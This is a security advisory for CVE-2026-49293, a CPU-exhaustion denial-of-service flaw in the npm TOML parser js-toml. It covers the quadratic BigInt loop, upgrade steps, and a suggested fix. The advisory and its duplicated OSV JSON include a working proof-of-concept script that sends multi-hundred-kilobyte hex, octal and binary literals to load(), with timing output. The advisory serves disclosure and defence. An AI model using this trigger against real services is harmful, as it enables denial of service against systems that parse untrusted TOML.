CVE-2026-49293: Js toml Js-toml Vulnerable To CPU Exhaustion Vulnerability

HIGH
Advisory Identifier: GHSA-wp3c-266w-4qfq
CVSS 7.5
CWE-400 CWE-1333 CWE-407
Published
Advisory Summary

CVE-2026-49293 is a HIGH (CVSS 7.5) js-toml vulnerable to cpu exhaustion vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Js toml libraries in the npm ecosystem. The issue involves js-toml vulnerable to cpu exhaustion via o(n^2) bigint construction on radix-prefixed integer literals. Remediation is available by upgrading affected packages to version 1.1.1.

CVE-2026-49293 at a Glance

CVE Identifier CVE-2026-49293
GHSA Identifier GHSA-wp3c-266w-4qfq
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Js toml
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-49293

To remediate this vulnerability, upgrade all affected Js toml dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

js-toml fixed: 1.1.1
npm install js-toml@1.1.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls js-toml

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-49293, inspect your project dependencies using npm:

npm ls js-toml

Analyze the terminal output to locate any version of Js toml in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.1), your application is affected.

Note: The npm ls js-toml command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Js toml, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n²)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work. A caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS. CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity). CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB). ## Affected - Package: `js-toml` (npm) - Versions: `>= 0.0.0, <= 1.1.0` (all released versions up to and including the current `1.1.0`) - Affected entry point: `load()` exported from the package root ## Vulnerable code `src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84): ```ts const parseBigInt = (string: string, radix: number): bigint => { let result = BigInt(0); for (let i = 0; i < string.length; i++) { const char = string[i]; const digit = parseInt(char, radix); result = result * BigInt(radix) + BigInt(digit); } return result; }; ``` and the interpreter that dispatches to it at lines 72-84: ```ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(/_/g, ''); const digits = intString.slice(2); const radix = getRadix(raw); const int = parseInt(digits, radix); if (Number.isSafeInteger(int)) { return int; } return parseBigInt(digits, radix); }); ``` Two compounding problems: 1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n²)`. 2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x<hexDigit>(<hexDigit>|_<hexDigit>)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite. By contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop. ## Impact A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML. ## Reachability The vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits). Realistic exposure surfaces: - Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest). - CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests. - IDE / language-server plugin that re-parses a TOML buffer on every keystroke. - Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker. ## PoC (End-to-end reproduction) ### Environment - Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`) - macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock) ### Install ```bash mkdir js-toml-cve && cd js-toml-cve npm init -y npm install js-toml@1.1.0 @iarna/toml ``` ### `poc_full_e2e.mjs` ```js import { load } from 'js-toml'; import iarna from '@iarna/toml'; function timeIt(label, fn) { const t0 = process.hrtime.bigint(); let result, err; try { result = fn(); } catch (e) { err = e; } const t1 = process.hrtime.bigint(); const ms = (Number(t1 - t0) / 1e6).toFixed(1); if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`); else console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`); } console.log('--- Sanity baseline (small inputs) ---'); timeIt('decimal int 1', () => { load('x = 1'); return ''; }); timeIt('hex 0x10', () => { load('x = 0x10'); return ''; }); timeIt('hex 0xffff', () => { load('x = 0xffff'); return ''; }); console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---'); for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) { const hexDigits = 'f'.repeat(n); const tomlText = `x = 0x${hexDigits}`; timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`, () => { const r = load(tomlText); return `bits=${r.x.toString(2).length}`; }); } console.log('\n--- Negative control: same input via @iarna/toml ---'); for (const n of [10_000, 50_000, 100_000, 200_000]) { const hexDigits = 'f'.repeat(n); const tomlText = `x = 0x${hexDigits}`; timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`, () => { const r = iarna.parse(tomlText); return `type=${typeof r.x}`; }); } console.log('\n--- Octal / binary share the same code path ---'); for (const n of [50_000, 100_000]) { const octDigits = '7'.repeat(n); const binDigits = '1'.repeat(n); timeIt(`oct 0o${n.toLocaleString()} digits`, () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; }); timeIt(`bin 0b${n.toLocaleString()} digits`, () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; }); } ``` ### Captured run output (unpatched `js-toml@1.1.0`, Node v26.0.0, Apple M-series) ``` # js-toml version: 1.1.0 --- Sanity baseline (small inputs) --- decimal int 1: 1.3ms hex 0x10: 0.4ms hex 0xffff: 0.1ms --- Amplification curve: js-toml.load() with 0x<N hex digits> --- hex 10,000 digits (10006 bytes input): 15.0ms bits=40000 hex 20,000 digits (20006 bytes input): 29.8ms bits=80000 hex 50,000 digits (50006 bytes input): 214.7ms bits=200000 hex 100,000 digits (100006 bytes input): 693.0ms bits=400000 hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000 hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000 --- Negative control: same input via @iarna/toml --- @iarna/toml hex 10,000 digits: 2.3ms type=bigint @iarna/toml hex 50,000 digits: 3.2ms type=bigint @iarna/toml hex 100,000 digits: 5.4ms type=bigint @iarna/toml hex 200,000 digits: 10.2ms type=bigint --- Octal / binary share the same code path --- oct 0o50,000 digits: 187.6ms bits=150000 bin 0b50,000 digits: 49.5ms bits=50000 oct 0o100,000 digits: 633.2ms bits=300000 bin 0b100,000 digits: 196.8ms bits=100000 ``` Confirmation points: - Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted `O(n²)`. - Single ~500 kB document blocks the event loop for ~40 s of CPU time. - Octal and binary literals trigger the same path through `parseBigInt(digits, 8)` and `parseBigInt(digits, 2)`. - The negative control (`@iarna/toml`, which calls the V8 native `BigInt(value)` constructor) parses the same inputs in 2-10 ms. The defect is in `js-toml`'s hand-written radix conversion, not in V8 `BigInt` semantics or in the input size itself. ### Patched-build verification After applying the fix (replace `parseBigInt(digits, radix)` with `BigInt('0' + raw[1] + digits)` and add a `maxLiteralLength` guard at the interpreter callsite), the same PoC produces: ``` --- Amplification curve: js-toml.load() with 0x<N hex digits> --- hex 10,000 digits: 0.2ms bits=40000 hex 20,000 digits: 0.3ms bits=80000 hex 50,000 digits: 0.7ms bits=200000 hex 100,000 digits: 1.5ms bits=400000 hex 200,000 digits: 2.8ms bits=800000 hex 500,000 digits: 7.1ms bits=2000000 ``` (Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise `SyntaxParseError` instead of being parsed at all, matching the `maxNumberLength` convention used by `jackson-core` `StreamReadConstraints` and `gson` `NumberLimits`. ## Suggested fix Two changes, both in [`src/load/tokens/NonDecimalInteger.ts`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts): 1. Replace the hand-written `parseBigInt` loop with the V8 native `BigInt(prefixedString)` constructor. `BigInt` natively accepts the `0x` / `0o` / `0b` prefix and parses in `O(n)`: ```ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(/_/g, ''); const digits = intString.slice(2); const radix = getRadix(raw); // Optional but recommended: cap the literal length to avoid degenerate inputs const MAX_RADIX_LITERAL_LENGTH = 1000; if (digits.length > MAX_RADIX_LITERAL_LENGTH) { throw new SyntaxParseError( `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits` ); } const int = parseInt(digits, radix); if (Number.isSafeInteger(int)) { return int; } // BigInt accepts '0x'/'0o'/'0b' prefix natively return BigInt(intString); }); ``` 2. Delete the `parseBigInt` helper. The native constructor handles all three radices. Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of `jackson-core` (`StreamReadConstraints.validateIntegerLength`) and `gson` (`NumberLimits.checkNumberStringLength`). ## Fix PR link https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2 ## Credit Reported by `tonghuaroot`.

CVE-2026-49293 Affected Js toml Versions

1 component(s)
Fixed Versions:
1.1.1
Product / Package Ecosystem Affected Versions Fixed Version
js-toml
npm
< 1.1.1
1.1.1

References

Frequently Asked Questions

What is CVE-2026-49293?
CVE-2026-49293 is a security vulnerability in Js toml involving js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals under CWE-400: Uncontrolled Resource Consumption.
Which Js toml versions are affected?
Affected versions include releases prior to 1.1.1 across affected packages: js-toml.
What version fixes CVE-2026-49293?
Upgrading to 1.1.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is js-toml affected?
Yes, js-toml is affected in releases prior to 1.1.1. Upgrade your dependency to 1.1.1 or later.
What is the CVSS score of CVE-2026-49293?
CVE-2026-49293 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-49293?
CVE-2026-49293 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2026-49293?
Run the dependency tree command: 'npm ls js-toml'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wp3c-266w-4qfq",
  "modified" : "2026-06-26T22:21:43Z",
  "published" : "2026-06-26T22:21:43Z",
  "aliases" : [ "CVE-2026-49293" ],
  "summary" : "js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals",
  "details" : "## Summary\n\n`js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n²)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.\n\nA caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.\n\nCWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).\n\n## Affected\n\n- Package: `js-toml` (npm)\n- Versions: `>= 0.0.0, <= 1.1.0` (all released versions up to and including the current `1.1.0`)\n- Affected entry point: `load()` exported from the package root\n\n## Vulnerable code\n\n`src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84):\n\n```ts\nconst parseBigInt = (string: string, radix: number): bigint => {\n  let result = BigInt(0);\n  for (let i = 0; i < string.length; i++) {\n    const char = string[i];\n    const digit = parseInt(char, radix);\n    result = result * BigInt(radix) + BigInt(digit);\n  }\n\n  return result;\n};\n```\n\nand the interpreter that dispatches to it at lines 72-84:\n\n```ts\nregisterTokenInterpreter(NonDecimalInteger, (raw: string) => {\n  const intString = raw.replace(/_/g, '');\n  const digits = intString.slice(2);\n  const radix = getRadix(raw);\n\n  const int = parseInt(digits, radix);\n\n  if (Number.isSafeInteger(int)) {\n    return int;\n  }\n\n  return parseBigInt(digits, radix);\n});\n```\n\nTwo compounding problems:\n\n1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n²)`.\n\n2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x<hexDigit>(<hexDigit>|_<hexDigit>)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite.\n\nBy contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.\n\n## Impact\n\nA single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML.\n\n## Reachability\n\nThe vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).\n\nRealistic exposure surfaces:\n\n- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).\n- CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests.\n- IDE / language-server plugin that re-parses a TOML buffer on every keystroke.\n- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.\n\n## PoC (End-to-end reproduction)\n\n### Environment\n\n- Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`)\n- macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)\n\n### Install\n\n```bash\nmkdir js-toml-cve && cd js-toml-cve\nnpm init -y\nnpm install js-toml@1.1.0 @iarna/toml\n```\n\n### `poc_full_e2e.mjs`\n\n```js\nimport { load } from 'js-toml';\nimport iarna from '@iarna/toml';\n\nfunction timeIt(label, fn) {\n  const t0 = process.hrtime.bigint();\n  let result, err;\n  try { result = fn(); } catch (e) { err = e; }\n  const t1 = process.hrtime.bigint();\n  const ms = (Number(t1 - t0) / 1e6).toFixed(1);\n  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);\n  else     console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);\n}\n\nconsole.log('--- Sanity baseline (small inputs) ---');\ntimeIt('decimal int 1', () => { load('x = 1'); return ''; });\ntimeIt('hex 0x10',      () => { load('x = 0x10'); return ''; });\ntimeIt('hex 0xffff',    () => { load('x = 0xffff'); return ''; });\n\nconsole.log('\\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');\nfor (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {\n  const hexDigits = 'f'.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,\n    () => {\n      const r = load(tomlText);\n      return `bits=${r.x.toString(2).length}`;\n    });\n}\n\nconsole.log('\\n--- Negative control: same input via @iarna/toml ---');\nfor (const n of [10_000, 50_000, 100_000, 200_000]) {\n  const hexDigits = 'f'.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,\n    () => {\n      const r = iarna.parse(tomlText);\n      return `type=${typeof r.x}`;\n    });\n}\n\nconsole.log('\\n--- Octal / binary share the same code path ---');\nfor (const n of [50_000, 100_000]) {\n  const octDigits = '7'.repeat(n);\n  const binDigits = '1'.repeat(n);\n  timeIt(`oct 0o${n.toLocaleString()} digits`,\n    () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });\n  timeIt(`bin 0b${n.toLocaleString()} digits`,\n    () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });\n}\n```\n\n### Captured run output (unpatched `js-toml@1.1.0`, Node v26.0.0, Apple M-series)\n\n```\n# js-toml version: 1.1.0\n\n--- Sanity baseline (small inputs) ---\ndecimal int 1: 1.3ms\nhex 0x10: 0.4ms\nhex 0xffff: 0.1ms\n\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---\nhex 10,000 digits (10006 bytes input): 15.0ms bits=40000\nhex 20,000 digits (20006 bytes input): 29.8ms bits=80000\nhex 50,000 digits (50006 bytes input): 214.7ms bits=200000\nhex 100,000 digits (100006 bytes input): 693.0ms bits=400000\nhex 200,000 digits (200006 bytes input): 3239.6ms bits=800000\nhex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000\n\n--- Negative control: same input via @iarna/toml ---\n@iarna/toml hex 10,000 digits: 2.3ms type=bigint\n@iarna/toml hex 50,000 digits: 3.2ms type=bigint\n@iarna/toml hex 100,000 digits: 5.4ms type=bigint\n@iarna/toml hex 200,000 digits: 10.2ms type=bigint\n\n--- Octal / binary share the same code path ---\noct 0o50,000 digits: 187.6ms bits=150000\nbin 0b50,000 digits: 49.5ms bits=50000\noct 0o100,000 digits: 633.2ms bits=300000\nbin 0b100,000 digits: 196.8ms bits=100000\n```\n\nConfirmation points:\n\n- Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted `O(n²)`.\n- Single ~500 kB document blocks the event loop for ~40 s of CPU time.\n- Octal and binary literals trigger the same path through `parseBigInt(digits, 8)` and `parseBigInt(digits, 2)`.\n- The negative control (`@iarna/toml`, which calls the V8 native `BigInt(value)` constructor) parses the same inputs in 2-10 ms. The defect is in `js-toml`'s hand-written radix conversion, not in V8 `BigInt` semantics or in the input size itself.\n\n### Patched-build verification\n\nAfter applying the fix (replace `parseBigInt(digits, radix)` with `BigInt('0' + raw[1] + digits)` and add a `maxLiteralLength` guard at the interpreter callsite), the same PoC produces:\n\n```\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---\nhex 10,000 digits: 0.2ms bits=40000\nhex 20,000 digits: 0.3ms bits=80000\nhex 50,000 digits: 0.7ms bits=200000\nhex 100,000 digits: 1.5ms bits=400000\nhex 200,000 digits: 2.8ms bits=800000\nhex 500,000 digits: 7.1ms bits=2000000\n```\n\n(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise `SyntaxParseError` instead of being parsed at all, matching the `maxNumberLength` convention used by `jackson-core` `StreamReadConstraints` and `gson` `NumberLimits`.\n\n## Suggested fix\n\nTwo changes, both in [`src/load/tokens/NonDecimalInteger.ts`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts):\n\n1. Replace the hand-written `parseBigInt` loop with the V8 native `BigInt(prefixedString)` constructor. `BigInt` natively accepts the `0x` / `0o` / `0b` prefix and parses in `O(n)`:\n\n   ```ts\n   registerTokenInterpreter(NonDecimalInteger, (raw: string) => {\n     const intString = raw.replace(/_/g, '');\n     const digits = intString.slice(2);\n     const radix = getRadix(raw);\n\n     // Optional but recommended: cap the literal length to avoid degenerate inputs\n     const MAX_RADIX_LITERAL_LENGTH = 1000;\n     if (digits.length > MAX_RADIX_LITERAL_LENGTH) {\n       throw new SyntaxParseError(\n         `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`\n       );\n     }\n\n     const int = parseInt(digits, radix);\n     if (Number.isSafeInteger(int)) {\n       return int;\n     }\n\n     // BigInt accepts '0x'/'0o'/'0b' prefix natively\n     return BigInt(intString);\n   });\n   ```\n\n2. Delete the `parseBigInt` helper. The native constructor handles all three radices.\n\nEither change alone fixes the worst-case wall-clock. The combination matches the constraint posture of `jackson-core` (`StreamReadConstraints.validateIntegerLength`) and `gson` (`NumberLimits.checkNumberStringLength`).\n\n## Fix PR link\n\nhttps://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2\n\n## Credit\n\nReported by `tonghuaroot`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "js-toml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sunnyadn/js-toml/security/advisories/GHSA-wp3c-266w-4qfq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49293"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sunnyadn/js-toml"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sunnyadn/js-toml/releases/tag/v1.1.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-400", "CWE-407" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T22:21:43Z",
    "nvd_published_at" : "2026-06-19T19:16:36Z"
  }
}